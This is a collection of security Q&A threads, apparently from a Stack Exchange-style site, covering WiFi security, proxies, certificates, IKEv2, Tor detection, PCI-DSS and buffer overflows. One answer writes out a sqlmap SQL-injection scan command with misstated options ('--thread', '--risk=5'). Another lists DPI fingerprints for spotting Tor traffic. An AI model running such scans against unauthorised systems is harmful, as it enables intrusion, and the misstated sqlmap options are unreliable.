Here we have one flaw affecting the WPA2 protocol. It is already very impacting and, as you said, a large proportion of devices will never get patched. But will this stop at this (WPA2 being better engineered than WEP we might hope so), or is it the first discovery of a dark series affecting the WPA2 protocol? No one knows for now, and a lot of people are working on this.

So:

  KRACK: will there be an exploit soon?

Yes, and yes it will have the impact you describe, and not only that new discoveries may potentially make the situation even worse.


I think someone is using my WiFi I think somebody (maybe one of my neighbors) has access to my WiFi and is using it, because even when I reset my WiFi router it gets very slow, and some of my computers seem to have their WiFi disconnected because someone else is using it.

My question is: Is there any alternative to resetting the WiFi router to "kick" that person out so they can't use my WiFi anymore?

Make sure you're using WPA2 with a strong password.
Change the password.
Use a Wifi Analyzer to make sure you're on the least crowded channel you can be.
Disable WPS (Wi-Fi Protected Setup), pin can be brute forced.
Change default router configuration login

That's all you can really do, and all you need to do.

(I do not consider MAC address filtering sufficient to help with much of anything, so don't bother)


WebProxy configuration ... Which threat could apply? I need some help to identify possible (and rational) threats that could apply to that part of IT infrastructure (WebProxy).

I have a webproxy for my users, which behave like a classic webproxy and i'm ok with that (url filtering, flux analysis, etc.).

I recently noticed that destination port (like port 80, or 81, or any other port) was accessible throught that proxy (for example, my browser is configured to reach first my proxy on port 8080 for example, then i can reach http://www.example.com:33944 if www.example.com is listening on port 33944).

What could be the threat to let users / computer reach and URL through a non-standard port ? (including tunneling)

What could be the threat to let users / computer reach and URL through a non-standard port ?

If the proxy allows https access, then that means potentially, anyone on the inside can connect anywhere on the outside regardless of port or protocol - from the proxies point of view, it just sees a CONNECT request which opens a stream level proxy to the specified end point.

How bad could it be? You tell me - what's the worst thing that would happen if you allowed machines inside your network to connect to anything on the internet (which, in effect you may already be doing).


How to whitelist an Amazon ELB in a(ny) firewall? We have a customer with a very locked-down network. Any outbound connections require whitelisting of the port and IP address.

However, we are running our system behind an Amazon Elastic Load Balancer (ELB). That means that the IP address of the ELB can change and it is beyond our control.

Is it possible to whitelist a domain name rather than a particular IP address?

I realize this will depend on the customer's IT infrastructure. They are a Windows-only shop, so if there are specific approaches we could take in the Microsoft world, that'd be good. If there are router-specific setups for Cisco, etc, that would also be of interest (in case the customer uses that setup).

Do you have any other suggestions as to how to address this problem?

Use of whitelisting of IP addresses appears to be very brittle... though opening up a particular domain name opens you up to DNS poisoning attacks.

If the customer is as security aware as the question imply's then they will understand that the only reliable way to perform the task would be to whitelist traffic to the IP address range for Amazon ELB service.

If the worry is that this would allow other websites using the same service external access then a proxy server or secondary firewall would be required to ensure that the traffic to these IP's was only for the website(s) allowed.

It is a little hard to be more specific without a greater knowledge of your customers layout.

However in one of the services I support it would be done by using a Bluecoat proxy to control access to the external website.

It would also be preferable to also only allow authorised clients using AD controls,  the traffic is then sent to the firewall via a VIP address on the Bluecoats external interface that is only for traffic for this service.

The firewall can then limit the access to the IP destination range from the source VIP only.

Any proxy server should be able to do this and if your customer isn't using one then a second firewall could be used with SNAT to do the same thing.  First firewall allows access to the website then forwards the traffic to the second firewall on a SNAT, SNAT is used as the source address for a source/destination match to the external IP address range.

This would avoid the issue of DNS poisoning as any response would still have to match the allowed IP address range on the firewall.


Safe to store access details in a session? Background

I am about to create a website which will have a registration/login area. After the user has logged in he/she will have the ability to buy one or many modules which consist of static content regarding a topic. Of course the security on these modules is important as I want to make sure only people who have bought the package have acccess to the relevent modules.

Problem

Do you think its a good idea to store the information in a session about which user has access to which package once they have logged in so I only make a single call to the database to find out.

OR

I go to the database everytime they access a particular module to make sure they have access to that module

OR

I do both

OR

there is an another way I have completely missed...

Any advice will be great. I am trying to get a balance between performance and security.

Thanks

If you store the information in the session, it might get outdated wrt. to the database. That is, if module ownership expires, or it can be cancelled through other means, it might still be present in someone's session. Whether that's a problem or even a feature, is up to you.

However, this is "premature optimization". Unless you can prove (prove!) that this is going to be a performance problem, I wouldn't spend any more time than strictly necessary on it.


Are services such as ProtonMail as secure as using Thunderbird and a PGP key? I personally use ProtonMail and have done a lot of reading into encrypted emails. But one think that keeps getting mentioned in regards to ProtonMail and other such services is that they are not as secure as using PGP. So I would like to know why is this?

Yes, there are security differences compared to using a mail client. When using ProtonMail, you have to trust them on each of your visits that their website (and your connection to it) is not compromised.

Technically, ProtonMail offers a security scheme that's comparable to Thunderbird with a plugin for OpenPGP (see Enigmail). That is, your emails are encrypted on the client side (before they leave your browser) and ProtonMail can't possibly hand over your credentials or emails to the authorities on demand or lose them to an attacker, since your data never reaches their servers in plain text. (See their page on security details.)

But, while ProtonMail can't access your data now, they could change the client-side logic at any time without you noticing. This could be caused by an attacker, a rogue employee, or maybe a government order. In practice, a simple change to the Javascript shipped for their login screen would suffice to grab your credentials during login and redirect them somewhere else instead of keeping them in the browser as promised. Similarly, they could deliver malicious JS that redirects your emails once they are decrypted and displayed. Such an attack appears much more practical and easier to hide than attacking your TB client by shipping malicious code in a rogue update.

But also note that you have to trust the client-side code you download either way. When using Thunderbird, that means trusting the code of the TB client and the Enigmail plugin (and their regular updates). When using the web service, that means trusting the shipped markup and JS your browser downloads on each of your visits.


Why do Browsers warn about self-signed certificates but not about plain HTTP (which is not even encrypted)? Let's keep it short:

On HTTP everyone can listen easily. MITM attacks are no problem.
On HTTPS (self-signed) everything is at least encrypted, it's much harder to MITM-attack and only private key owners can listen.
On HTTPS (non-self-signed -> "trusted by Browser vendor") it's like 2, but the illusion is created that this is far more secure than self-signed, but in the end we have to trust the Browser Vendor to not make mistakes (or being bribed)

For me option 1 is far less secure than 2, still Browsers complain about HTTP not at all, but about self-signed certificates extremly hard: several clicks are needed to establish the connection, otherise they fully block the connection with scary messages. Why is this?

Of course, I know  the reason behind certificates: To make sure that the one you are talking to is the one you actually want to talk to. But on HTTP you don't have encryption and you don't have trust. On HTTPS (self-signed) you have at least encryption.

So, shouldn't it be really like the following?

HTTP triggers the "big fat red error"
HTTPS + self-signed has a warning icon but works regularly
HTTPS + "trusted cert" issues no warning at all

What are the reason here?

They warn you because a self signed certificate could be a sign of a MITM attack where an attacker is attempting to get you to send them important credentials under the guise of a secure connection.

The major reason a browser wont warn about plain HTTP is because its far too common on the internet and would just be annoying for most users. One thing browsers do warn about however is if there are elements of a page being delivered over HTTP in an HTTPS page (ex. when a page loads elements from a different page and embeds them onto the page).

The reason browsers throw these scary messages for self signed certs is because they don't want inexperienced users adding random certs to their trusted list. Again, someone could MITM a connection, send their cert to you and pretend to be the site you are attempting to visit. Yes this can be done over HTTP too but many sites deliver at least a logon page over HTTPS so it is beneficial to users if browsers check since they could prevent your credentials from being compromised.

And on top of that, if people make self signed certs they could be working under a false sense of security. SSL isnt the most simple idea and even very large companies struggle with it, just look at how Dell messed up with their cert. The idea is to discourage the use of self signed certs, so that users can have the benefit of having a third party verify the legitimacy of a certificate.

The matter of CAs being irresponsible with their power however is another matter and can cause issues if they make bonehead decisions.


How do I verify that my TurboTax software is legitimate I bought TurboTax software from Amazon (downloaded Mac version). Therefore, I know it is safe to use. However, if one wants to verify the software has not been tampered with, how do we do that? Mac gives a standard warning "Do you want to open software downloaded from internet" when opening it.

Some download websites show the file hash of the installer on the website ... so then you are supposed to download the file , calculate the downloaded file hash , and compare to see if the hashes match to confirm the download wasn't tampered with.

Similarly if you have a known legit version of the software and a questionable copy of the same version of software you can get the file hash of each of the files and compare to ensure it they are the same and haven't been tampered with.

Note this only works if the 2 pieces of software are the same exact version because file hashed will change version to version.

Here is samples of how to get file hashed on a Mac

https://www.dyclassroom.com/howto-mac/how-to-verify-checksum-on-a-mac-md5-sha1-sha256-etc


Key exchange during IKE_AUTH phase of IKEv2 This is what a casual IKEv2 handshake looks like :

  Initiator                                                       Responder
  |                                                                      |
 1|-----------------------> HDR, SAi1, KEi, Ni ------------------------->|
 2|<----------------- HDR, SAr1, KEr, Nr, [CERTREQ] <--------------------|
 3|----> HDR, SK {IDi, [CERT,] [CERTREQ,] [IDr,] AUTH, SAi2, TSi, TSr}-->|
 4|<------------ HDR, SK {IDr, [CERT,] AUTH, SAr2, TSi, TSr} <-----------|
  |                                                                      |

Where messages (1) and (2) belong to IKE_SA_INIT exchange and messages (3) and (4) belong to IKE_AUTH exchange.
I have analyzed a wireshark trace of this exchange and it seems to me that during IKE_AUTH (SAi2, SAr2), the initiator/the responder advertise the set of security algorithms he supports/he chooses respectively (encryption, authentication, integrity protection, diffie-hellman group). However neither of both does advertise its DH value. So there is no actual key exchange here. My question is for what purpose does the (SAi2, SAr2) security association negotiation serve? and why do we even need to have a second key exchange since the protocol already achieved one during IKE_SA_INIT (In other words why do we need to negotiate new keys) ?

The SAi2/SAr2 payloads, together with the TSi/TSr payloads, are used to negotiate the initial Child SA. As per RFC 7296, section 1.2:

  The initiator begins negotiation of a Child SA using the SAi2
     payload.  The final fields (starting with SAi2) are described in the
     description of the CREATE_CHILD_SA exchange.

However, the key material for this Child SA is derived from the IKE key material (established with the KE payloads during IKE_SA_INIT), so there is no separate key exchange. DH groups are explicitly not included in the SA payloads during IKE_AUTH. From the same section as above:

  Note that IKE_AUTH messages do not contain KEi/KEr or Ni/Nr payloads.
     Thus, the SA payloads in the IKE_AUTH exchange cannot contain
     Transform Type 4 (Diffie-Hellman group) with any value other than
     NONE.  Implementations SHOULD omit the whole transform substructure
     instead of sending value NONE.

An IKEv2 implementation that supports RFC 6023 (Childless IKEv2 Initiation) can omit these SA/TS payloads and create an IKE SA without initial Child SA.

When creating or rekeying Child SAs later with CREATE_CHILD_SA exchanges the peers may optionally negotiate a DH group and exchange their public DH factors using KE payloads (if that's not done the keys for the new Child SA are again derived from the IKE SA key material). This serves the purpose of separating the IKE from the Child SA keys and the Child SA keys from each other (this is usually referred to as Perfect Forward Secrecy or PFS).


Best practices for verifying a users identity for helpdesk I had a conversation today and someone challenged me as to why you would need to verify the identity of a user calling a service desk with anything other than their company email. Granted, I know these can be spoofed, but the upper-level executive didn't.

I have been pressing to have at a minimum a user-specific PIN and the user's email address put in place for verification purposes.

Does anyone have access to published best practices for support desk this non-face to face (phone, chat services) user verification?

The company email is likely a bad way to verify someone's identity. In most places, the email address is in a common format that could easily be guessed. Social engineering and pretexting are easy ways to get common information. You should also consider the insider threat, a coworker could impersonate someone with an email address easily. (I am assuming that you mean providing this over the phone, not sending them an email to open during a call)

If you want to authenticate a user's identity, you need to use something that is non-public and hard to guess. Some companies may have specific code words, etc. They may require a call back to a number known to be the employee's work, home, or cell number. This should not be their system or email password.


Spoofing POST/GET requests in a RESTful service I started working on an app that connects to a RESTful service for authentication and data.  User POSTs the user name and password to /token endpoint.
Once they log in successfully, they get a bearer token that they then append to the Authorization header in the subsequent calls to different protected resources.

My question is what prevents users from intercepting their regular post from the app (getting the token) and then possibly sending bunch of POST requests (using something like postman or fiddler) to create a large number of fake posts or articles or whatever else the app does.

What are some possible ways from protecting from this?  Does the fact that the traffic to the service will eventually go via TLS make this a non-issue?

My question is what prevents users from intercepting their regular post form the app (getting the token) and then possibly sending bunch of POST requests (using something like postman or fiddler) to create a large number of fake posts or articles or whatever else the app does.

Nothing

  Does the fact that the traffic to the service will eventually go via TLS make this a non-issue?

This makes no difference at all.

  What are some possible ways from protecting from this?

The most common one is rate limiting. I.e. if someone posts at a much higher level than anticipated reject the post. There are several approaches to this - when did they last post, rolling average over N minutes etc. If you don't want false positives resulting in users losing post content then make them re-authenticate to continue.

Another approach is captchas. I.e trying to make the user prove they are human.

Another is attempting to detect automatically generated content using spam filters or AI.


Implementation flow of MFA with TOTP For a frontend, i would like to implement MFA (with TOTP).
I may be searching for the wrong keywords but i couldn't find the proper way to implement securely this solution. I was searching for a diagram flow for example such as:

Request: POST to /login with credentials in JSON, Response 302 to /mfa
Request: GET /mfa , Response /mfa
Request: POST with credentials again and mfa code , Response 302 to /
Request: GET to /, response 302 to / (user logged in)

Is there any RFC describing (https://tools.ietf.org/html/rfc6238) in details the implementation of such protocol or its up to the user to sniff other website's ssl to reverse engineer how they did it (which i did for github etc..). Just searching for the correct way to implement it, may be an already working framework? should i use cookies or is it fine to re-request the user and login along with the mfr code ( i noticed github at STEP 3 use authenticity_token=<base64token>&otp=<123456> )

Thanks a lot for your help

PS; already made solution like login with google are not possible, i need to use my own user's db

You might want to check out PrivacyIDEA and their product and code - they have a working implementation in python, and I think you could use their API for one or both authentication rounds.

https://www.privacyidea.org/

It isn't without a few rough edges here and there (you certainly do not want to let this loose on your user DB without some testing), but might provide you either a service you can use while you research, or a concrete implementation you can base your own off of


How precisely can your ISP tell you are using Tor? I often read that your ISP can tell if you are using Tor. Assuming you use a bridge the only way to do this seems to be statistical analysis of a packet capture. How exactly is this done given that the initial connection is over TLS and can you prevent it?

Standard Tor traffic
Default Tor entry nodes are publicly listed. So, to block a standard Tor connection, your ISP just needs to check the IPs you're connecting to against a list of known nodes (called "entry guards").
For example, my Tor browser randomly chose 62.210.92.11 as the entry point from a list of public nodes. Now, an eavesdropper could just look up the IP on Atlas (you can filter guard nodes with flag:Guard) to conclude I'm a Tor user.
With bridges
Bridges are unlisted Tor relays and therefore can't be blocked as easily. But research suggests that bridges can potentially be identified by analyzing their incoming and outgoing traffic (as linked in @user169339's answer).
Another option for an eavesdropper is to employ DPI to inspect your initial TLS handshake when connecting to the Tor network. E.g., the authors of the paper Detecting and blocking onion router traffic using deep packet inspection observed some characteristics which can be easily deployed as firewall rules, among them:

The cipher suites offered by the Tor client are always the same.

In the ClientHello message, the indicated server_name is always a random domain name in the form of www.[a-z0-9].[com|net].

Subject and issuer of the certificate presented during the handshake also have this random domain set in the commonName field which should be easy to distinguish from legitimate certificates.

In a quick test I could successfully sniff some pseudo domains from a Tor TLS handshake:
www.65nrpfd6bt7h.com
www.dgb2ozu32a6mjxhrijwa5gtp5.com
www.arqnns3y6lowbr3ses67cb.com

(Even the random domains alone, although you might not be able to filter them reliably, could certainly attract the attention of your local sysadmin.)
Pluggable transports
Pluggable transports are the Tor project's attempt to overcome DPI-based blocking by providing an API to exchange Tor traffic over arbitrary (obscured) protocols which are harder for firewalls to detect:

Pluggable Transports help you bypass censorship against Tor.
Pluggable Transports (PT) transform the Tor traffic flow between the client and the bridge. This way, censors who monitor traffic between the client and the bridge will see innocent-looking transformed traffic instead of the actual Tor traffic. External programs can talk to Tor clients and Tor bridges using the pluggable transport API, to make it easier to build interoperable programs.


File Integrity Monitoring via Syslog-ng or agentless - is it possible? I am involved in a project which deals with PCI-DSS compliance. Particularly, there is a requirement to implement FIM (File Integrity Monitoring) for critical devices.
Within these devices, there are unix-based firewall and routers, with specific vendors that are specifically NOT recommending installation of 3rd party agents. Their position is understandable, since 3rd party software shouldn't be supported by them and could be prone to vulnerabilities and/or bugs.
I am however tasked in finding out if it's possible to implement such functionality within these devices, with 2 possibilities.
I am using Wazuh as a reference for this exercise:

Using an "agentless" solution, which connects via SSH to a specific device and checks periodically if a file was modified (not created or deleted, only modified; the solution apparently only allows that).

Using Syslog, and particularly syslog-ng, in order to send logs to the device and, using a specific ruleset, create alerts for specific events. Regarding this, I am unaware if it's possible to implement it in some way, since logs are only regarding traffic and network events.

I'd like your input or advice on how to implement this feature on this kind of devices which are "restricted" by the various vendors, possibly limiting impact on functionality and performance.

PCI DSS requirement 11.5 requires a change detection mechanism (ie it doesn’t have to be FIM) for modification of files, not devices.

11.5 Deploy a change-detection mechanism (for example, file-integrity monitoring tools) to alert personnel to unauthorized modification
(including changes, additions, and deletions) of critical system
files, configuration files, or content files; and configure the
software to perform critical file comparisons at least weekly.

The intent is that critical files are monitored or unauthorised changes. This is one of the rare detective controls in PCI DSS.
As the comments above indicate, this requirement is generally not intended to apply to network devices where the 'operating system' of the device is generally read-only, but to general purpose computers where critical files could be modified by an attacker.
The change control (i.e. a protective control) for firewall/router configuration files is covered in requirement 1.1.1 and requirement 1.2.2 requires that such files are secured. I'd also expect that change control would cover something like a firmware update to a network device. The standard's demands for change control are detailed in requirement 6.4
Generally when someone says "PCI DSS requires X" - always ask "which PCI DSS requirement" and then check that is indeed what the standard says. It is not uncommon for people - accidentally and sometimes deliberately - to misrepresent what a requirement says and so validating what the standard says (and reading the Guidance column) can  be really helpful. The standard is freely available and can be downloaded from https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf


SQLMap using "?ref=" I'm learning about net security and how to deal with SQLmap. A friend made some demo web pages on his server to test SQLmap. One of the pages is a fake phishing site with a refer to a real site (index.asp?ref=REALSITE).

If I scan the fake phishing site with the referrer parameter, would I inadvertently scan the site which is referred too?

Either you haven't gone through the SQLmap docs yet or you haven't read the clarity for question which you need to post in the stackexchange docs. Either way, I am going to drop you of the basics since:

The fakesite you are referring to, doesn't matter if it's fake as long as there is a Input Validation vulnerability.
The fakesite 'ref' is called as a parameter. If this parameter isn't protected by parameterized SQL queries, it could be prone to SQL Injections - it's hard to say without testing the real scenario.
REALSITE is a value for the 'ref' parameter. What basically happens is you provide dummy special characters or test conditions to this parameter to detect presence of SQL Injections.

This is a very high level basic overview. SQLMap works the same way. Since the testing would only be limited to the original test suite's parameters which in this case happens to be 'ref', the constraints will be limited to 'FAKESITE' from your perspective. The REALSITE which is referred to shall not be auto-scanned if not fed into SQLMAP.

To scan via SQLMAP, the site which you wanted to test for MS-SQL Injections (since it's ASP), one would do:

sqlmap.py -u http://wwww.testsite.com/index.asp?ref=REALSITE --dbs --thread=10 --risk=5 --level=5

Here:

sqlmap.py is the program.

-u is a sqlmap switch which represents direct URL feed.

http://wwww.testsite.com/index.asp?ref=REALSITE is the test site to be tested.

ref is the parameter which SQLMAP automatically pareses and detects.

Also ref is the parameter where SQLMAP will inject it's payloads.

payloads are test conditions or special characters, via which the application generates abnormal outputs so that SQLMAP could detect these and hence know the presence of SQL Injection by comparing original request to the special request (the ones with payloads).

--thread=10 is the processing power. 10 is maximum, none is normal.

NOTE: you need not enter risk and level as it's for in-depth scans. Just a side note on it.


Are web vulnerability scanners active or passive? I want to scan my own website for vulnerabilities using Vega and w3af from kali linux. I assume these tools perform active attacks, not passive ones. Is this correct?

If they do perform active attacks on the site to find vulnerabilities, are the payloads malicious? E.g. can I harm the database when checking for SQL injections?

Web app vulnerability scanners typically use a combination of active and passive vulnerability detection, with the majority of the testing done actively.  For example, if the scanner requests a page and it returns a cookie without the 'secure' flag that is essentially a passive test.  But if the scanner is trying to find an XSS vulnerability in a parameter it is probably going to actively send several hundred different requests to test attack variations.  That's why active testing is more prominent.

Some scanners can be put into passive-only mode where they crawl through the app normally or monitor you using the app to detect vulnerabilties.  As you might expect, this has less impact on the app (and is less detectable) but produces fewer results.

The payloads of attacks are generally non-malicious, but some of that depends on how the app reacts to it.  I've seen poorly designed web apps crash when they receive unexpected data.  To test something like an XSS attack the scanner may just try to inject basic script tags with an alert to see if it works.  They normally aren't going to inject a keystroke logger, fake login form, etc.

With regards to your SQL injection question they shouldn't typically use SQL commands that delete data or change configurations, but that may depend on the scanning policy you use.  Some scanners have malicious or DoS policies that might be more disruptive.  It's also possible that your database will have a lot of records added by the scanner even if none of the previous data was manipulated.


Security analysis of Dashlane I've been asked by a user whether I would recommend using the Dashlane password manager.  I'm aware that other password managers have had some significant security problems, including XSS and CSRF (see below).  Is the Dashlane password manager vulnerable to those problems?  Has anyone done an independent security analysis of it to see whteher it shares those problems?

For instance, the following published research paper analyzed the security of five popular password managers (LastPass, RoboForm, My1login, Passwordbox, and NeedMyPassword) and found security vulnerabilities in four of the five:

The Emperor's New Password Manager: Security Analysis of Web-based Password Managers.    Zhiwei Li, Warren He, Devdatta Akhawe, Dawn Song.  Usenix Security Symposium, 2014.

The vulnerabilities ranged from garden-variety XSS and CSRF vulnerabilities, to more obscure attacks based on exploiting bookmarklets and the fact that they might be executed in a context together with malicious Javascript.

However, that paper didn't analyze the Dashlane password manager, perhaps because it has only recently started to get attention and capture significant market share.

Is there any publicly available security analysis of the Dashlane password manager, e.g., to assess whether it is vulnerable to those sorts of vulnerabilities, or any other resources or guidance to help users decide whether they should trust it to be secure?

A security analysis was performed in May 2016:

Security  Analysis of Dashlane by Paolo Gentili, Sarah Shader, Richard Yip, Brandon Zeng

That analysis attempts to look for largely the same types of vulnerabilities as the Li et al. paper cited in the question.  They looked for XSS attacks, but found none.  They were also able to bypass Dashlane's device authentication feature.  Overall, they found Dashlane to be quite secure.

They analyzed Dashlane version 4.1.1.  Dashlane has since been updated to version 4.6.8.


If a password repeats a sequence of characters, does it become easier to crack? I thought that if you repeated a sequence of characters in your password, the password would get easier to crack. I tried one of those websites which gives you an estimate of how much time it would take it to crack a password with a force brute attack (websites of dubious reliability, but anyway) and it doesnt seem to show any sign of weakness by repeating a sequence of 20 characters several times (the password gets increased by 30 orders of magnitude) Then my question is, if a password repeats a sequence of characters, does it become easier to crack?

Not exactly. More precisely:

For any given human-generated password (based on a known word or character sequence), repeating character sequences from that base word to create a longer password makes that specific password just a tiny bit harder to crack than the underlying base word ...
... but the resulting longer password will be inherently weaker than other passwords of the same length that were created using a stronger length-extension method ...
... and it's hard for a password-strength meter to tell the difference.

To understand why, we need an understanding both of human password memorization strategies - and of the limitations of password strength meters.

A human password strategy like duplicating letters is a common way to meet password length requirements because the incremental cognitive burden for the user is low (only requiring the user to remember a little bit more information.) For example, if the minimum password length requirement was 12, then a password paaaaassword meets that requirement, with the user only having to remember two things:

My password starts with the word password as a base.
I then just repeat the a four more times.

Increasing password length with a "trick" only marginally improves attack resistance. While the raw Shannon entropy of the new password is higher, the effective entropy of the new password is only very slightly higher than the base word itself - because it's really only one more piece of additional information - which means that it can be easily used by attackers. Many password-lengthening strategies (adding digits, adding a couple of common special characters, doubling the word, etc.) are very well-known to password crackers. Most cracking software can try these strategies at very high speeds.

So strategies like adding repeating characters to a human-generated password are easy to implement in a password attack ... but they are much more difficult to implement in a password-strength meter.

This is why password-strength meters are notoriously inaccurate.  A meter can use broad general measurements of strength (complexity, composition rules), and approximate some of the basic attacks (masks, simple wordlists, etc.) ... but it is impossible for a meter to mimic the millions of combinations of base words and human password-generation rules ... without starting to behave more and more like a password cracking engine. And such meters need to be much faster than that, in order to give real-time feedback to the user.

So the strategy of repeating characters only marginally increases the effective entropy, which will fall to high-speed attacks ... but the password-strength meter can't use the same attack strategies to tell the difference.


Is my understanding of buffer overflows correct? I am new to pentesting and wondering if my current understanding of buffer overflow exploits is correct. Assuming an operating address space of 3 addresses, an instruction space of 2 addresses, and an adjacent 1 address instruction pointer:

(The arrow is the instruction pointer's current position.)

==>000x243
001xFFF

002x26B
003x4FF
004x14C

005x000 (points to address 000 as the next instruction)

Would the buffer overflow replace the operating space with 4 addresses, overwriting the instruction pointer call to the operating space with the address of one of the operating space, thus making the next executed machine code be one of the exploiter's choosing?
Shown here:

000x243
001xFFF

==>002x456 (arbitrary machine code to be executed)
003xB3B
004x00F

005x002 (points to address 002 as next instruction)

Usually, no, buffer overflow exploits is not about overwriting code. But there are definition issues.

A buffer overflow exploit (of the "write" kind) leverages a situation where the target system can be made to write more data than fits in the area that it writes to, thereby overwriting whatever was in RAM next to the buffer, with data that can be more or less controlled by the attacker. The classical exploit technique is to locate in that overwritten data a pointer to code that will be, at some point, followed by the target application. Thus, the attacker can make the application derail and got executing instructions that are elsewhere in RAM.

While code is in RAM, most if not all of it is in read-only sections; the operating system uses the platform's MMU to mark these sections as such, and any attempt at writing over code will trigger an exception from the OS kernel. Also, in a typical system, code sections and data sections are rather far apart in the address space, making the overrun hard to attempt.

A very classical situation is when the overflown buffer is on the stack (in C parlance, it is a "local variable"), because the stack also includes pointers to code, namely the saved instruction pointer. When a function is entered, the instruction pointer is saved on the stack, so that when the function returns, execution can jump back to the call site. This saved instruction pointer is thus a code pointer that will be followed at some point in the execution, so it is a prime target for overflows.

Another rather common case is related to the use of vtables in languages that support an object-oriented development style (typically C++, but "object-oriented C" would also qualify). Vtables are tables in RAM, full of pointers to functions, that are followed when methods are invoked. Such pointers are good targets for overflow exploits (the PS3 Jailbreak was working that way).

Now there are languages that are not compiled to raw instructions, but to a special format called threaded code. Threaded code is basically a long succession of pointers to code (to other threaded code, or to sequences of native instructions). This is typical of languages that accept building code at runtime, i.e. things which are often described as "interpreters". A buffer overflow in that context could lead to an overwrite of the (threaded) code, because, from the point of view of the kernel and the CPU, threaded code is data. This is the part where definition details can bite you.

Note that all of the above is about an overflow where data is written into a buffer, and past that buffer. There are also "read" overflows (maybe the term "overrun" would be more appropriate), in which data is read past a source buffer (and presumably written into another buffer). This can lead to leakage of secrets, and also to the application working on inconsistent data. Consequences vary greatly, depending on what the application does with the data. This can be very inconvenient, that is, very convenient for an attacker, if the overflow is such that the attacker obtains parts of cryptographic keys or other sensitive data.


Is it possible to have a protocol that sits on top of TCP/IP that encrypts packets? I was wondering if it is possible to make a new protocol which sits on top of TCP/IP and encrypts the packet which is going to be sent. One of the issues I can see is the metadata being available where anyone snooping such as an ISP could see who you are communicating with but the data part of the packet could be encrypted.

Do you think it is possible to to have a protocol at low level which sits on top of TCP/IP which could solve wire tapping entirely? Making the internet an encrypted pool of connections where no one could see what anyone is doing?

What you're asking already exists, and you're already using it.

SSL/TLS can be used as a wrapper around TCP/IP.

As you've pointed out, it won't hide who you're communicating with or when. But it hides the information that you're sending, and has some protection against man-in-the-middle attacks.

But, you'll never solve wiretapping entirely. There will always be flaws in the implementation, or keyloggers, or other ways to get at the information users are sending.


MITM in "Next generation" firewalls becoming a norm? So I went to a seminar lately and heard about the "SSL inspection" part of Nextgen firewalls. It was basically MITM to be able to monitor the users of the network. Is it becoming a common practice in the real world? Or is this just another insane tech some companies want to push on us?

Sadly, it is both. i.e.,

Employee monitoring is a growing trend. Apparently many companies, large and small, want to monitor their employee activities in the name of security and risk management.
Vendors (both firewall vendors and other end-point agent based solution vendors) see the demand and cater to it.
Many IT managers who want to buy latest equipment (so that they can stave off obsolescence as long as possible) get this feature automatically. Once you have the feature, it doesn't take much justification to start using it.


Dealing with spam with an unknown party harvesting the email address I have a situation where I keep receiving spam from several IT companies (solicitations, marketing etc.). I think I gave away my email to a company in the last couple of years for reading a white paper or something (I do not remember at all). And that company has been selling my email to various IT firms.

I reached out to a couple of companies asking them about how they were able to gather my email address but they were not willing to disclose.

What's the best (if any) way to deal with a SPAM situation like this?

In the United States the CAN-SPAM Act of 2003 regulates all commercial e-mail.  You can try e-mailing each company individually and telling them they don't have your permission to contact you and if they don't you will file a complaint with the FTC.  You can find out more information here:

http://www.fcc.gov/guides/spam-unwanted-text-messages-and-email

You can file a complaint here:

https://www.ftccomplaintassistant.gov

You could also look at complaining to their ISP.

in reality, though, once your e-mail is out it's OUT.  You will get more and more messages.  The easiest fix would be to switch e-mail addresses.  If this is not possible there are a range of spam filtering services from local programs you use on your computer to hosted solutions.  The latter are usually more expensive but also more effective.  One exception is that some commercial e-mail hosts such as google can take over hosting your e-mail for a very small fee (around $5 per address per month) and are VERY good at filtering spam.


Advantages and disadvantages of Stream versus Block Ciphers Encryption algorithms such as Blowfish,AES,RC4,DES and Seal are implemented in one of two categories of ciphers. What are the advantages/disadvantages to the type of ciphers?

While both are symmetric ciphers, stream ciphers are based on generating an "infinite" cryptograpic keystream, and using that to encrypt one bit or byte at a time (similar to the one-time pad), whereas block ciphers work on larger chunks of data (i.e. blocks) at a time, often combining blocks for additional security (e.g. AES in CBC mode).

Stream ciphers are typically faster than block, but that has it's own price.
Block ciphers typically require more memory, since they work on larger chunks of data and often have "carry over" from previous blocks, whereas since stream ciphers work on only a few bits at a time they have relatively low memory requirements (and therefore cheaper to implement in limited scenarios such as embedded devices, firmware, and esp. hardware).
Stream ciphers are more difficult to implement correctly, and prone to weaknesses based on usage - since the principles are similar to one-time pad, the keystream has very strict requirements. On the other hand, that's usually the tricky part, and can be offloaded to e.g. an external box.
Because block ciphers encrypt a whole block at a time (and furthermore have "feedback" modes which are most recommended), they are more susceptible to noise in transmission, that is if you mess up one part of the data, all the rest is probably unrecoverable. Whereas with stream ciphers bytes are individually encrypted with no connection to other chunks of data (in most ciphers/modes), and often have support for interruptions on the line.
Also, stream ciphers do not provide integrity protection or authentication, whereas some block ciphers (depending on mode) can provide integrity protection, in addition to confidentiality.
Because of all the above, stream ciphers are usually best for cases where the amount of data is either unknown, or continuous - such as network streams. Block ciphers, on the other hand, or more useful when the amount of data is pre-known - such as a file, data fields, or request/response protocols, such as HTTP where the length of the total message is known already at the beginning.


Evaluation of Linux disk encryption scenarios I'm willing to prepare a secure installation on Manjaro Linux on my personal laptop to work in a protected environment, against physical theft of my laptop when I'm not at home.

I'm evaluating one of the 5 scenarios explained on Arch Wiki, and so far I've always encrypted the full disk partition, but I've experienced poor performance on I/O especially when working with virtual machines, even considering the fact that I'm using a SSD.
The 3rd scenario (Partial system encryption with each user's home directory encrypted with ECryptfs) seems a good option, but how secure is it then?

Any suggestion / pro and contra on each of these scenarios would be really helpful.

The level of security is directly tied to the risks of not encrypting everything else but the home directories. If you put sensitive data outside of the home directories (or forget that sensitive data should only be in ~), then you have a problem.

The other risk is that someone could gain control of your hardware and implant code in the system directories then return it to you. But if that level of protection is not in your threat scenario, then you can omit this potential.


Would user workstations be considered part of the PCI-DSS CDE when collecting cardholder data using a secure portal Supposing I had an office full of call centre operators, who sometimes update customers payment details by way of receiving these over the phone and then keying them into a secure web application, which stores the data securely in the "real" CDE. The data is never stored on the call centre operator's PC, nor is it transmitted in an unencrypted fashion.

Per the title, does this mean that those workstations fall into the scope of the CDE per the PCI-DSS definition?

EDIT: Clarification, the web application is an internal application. It is not exposed over public or open networks.

The entire workstation and indeed the entire call centre and possibly the entire network could be in scope for PCI DSS.

No need for a keylogger, a piece of paper and a pencil is enough to make the operator a risk. Then there's the telephony to the operator, the patches required to maintain the general security of the workstation.

There are commercial solutions out there that mitigate the risk and reduce the effort of compliance by either proxying all calls or otherwise routing them through a secure telephony centre.


